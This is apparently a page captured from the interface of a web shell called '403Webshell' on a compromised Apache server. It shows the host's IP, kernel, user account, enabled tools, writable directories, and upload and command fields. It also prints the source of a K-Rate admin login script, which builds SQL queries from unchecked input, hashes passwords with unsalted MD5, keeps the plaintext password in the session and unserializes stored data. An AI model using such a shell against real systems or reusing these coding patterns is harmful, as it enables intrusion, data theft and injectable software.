403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/baberankings.com.bak/members/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/baberankings.com.bak/members/admin/verify_session.php
<?
/* K-Rate
(C) Rinalds Uzkalns, 2003-2004. All Rights Reserved
http://turn-k.net

Version: 1.00 (22.09.04)
*/
?>
<?php
ob_start();
session_start();
define('in_admin',true);
//print_r($_SESSION);
//login form
function login_form() {
        ob_clean();
        ?>

        <html><head><title>K-Rate Administrator Login</title></head>
        <body><form method=post action=verify_session.php>
           <input type=hidden name=req value=dologin>
           <table>
             <tr><td class=key>Username:</td><td><input type=text name=user></td></tr>
             <tr><td class=key>Password:</td><td><input type=password name=pass></td></tr>
             <tr><td colspan=2 align=center><br><input type=submit name=sm value='Login!'></td></tr>
           </table>
        </form></body></html>
        <?
        exit;
        }

//process login
if ($_REQUEST['req'] == 'dologin') {
        chdir('..');
        include 'kernel/initialize.php';

        $result = mysql_query("SELECT * FROM $admtable WHERE adm_user='{$en['user']}' AND adm_pass='".md5($en['pass'])."'") or die(mysql_error());
        if (mysql_num_rows($result) > 0) {

                //login successful, setting up session
                ob_clean();
                $line = mysql_fetch_assoc($result);
                session_start();
                $time_started = md5(mktime());

                $secure_session_user = md5($line['adm_id'].$line['adm_user'].$line['adm_pass']);
                $_SESSION['krate_user'] = $line['adm_user'];
                $_SESSION['krate_id'] = $line['adm_id'];
                $_SESSION['krate_pass'] = $en['pass'];
                $_SESSION['krate_username'] = $line['adm_user'];
                $_SESSION['krate_session_key'] = $time_started.$secure_session_user.session_id();
                $_SESSION['krate_current_session'] = $line['adm_user']."=".$_SESSION['krate_session_key'];

                header('Location: index.php');
                exit;
                } else {
                login_form();
                }
        }
session_start();

//check login
if ($_SESSION['krate_current_session'] != $_SESSION['krate_user']."=".$_SESSION['krate_session_key'])
        login_form();

//process logout
if ($req == "logout") {
        ob_clean();
        $_SESSION = array();
        header("Location: index.php");
        exit;
        }

$result = mysql_query("SELECT * FROM $membtable WHERE m_user='{$_SESSION['krate_user']}'") or die (mysql_error());
$usrdata = mysql_fetch_assoc($result);
if (is_array($usrdata))
        foreach ($usrdata as $key=>$value) $en[$key] = $value;

$result = mysql_query("SELECT * FROM $admtable LEFT JOIN $membtable ON adm_user=m_user WHERE adm_user='$_SESSION[krate_user]' AND adm_pass='".md5($_SESSION['krate_pass'])."'") or die (mysql_error());
if (mysql_num_rows($result) == 0) {
        login_form();
        }
$admin = @mysql_fetch_assoc($result);
$admin_rights = unserialize(base64_decode($admin['adm_rights']));
$en['sess_pass'] = $_SESSION['krate_pass'];

?>

Youez - 2016 - github.com/yon3zu
LinuXploit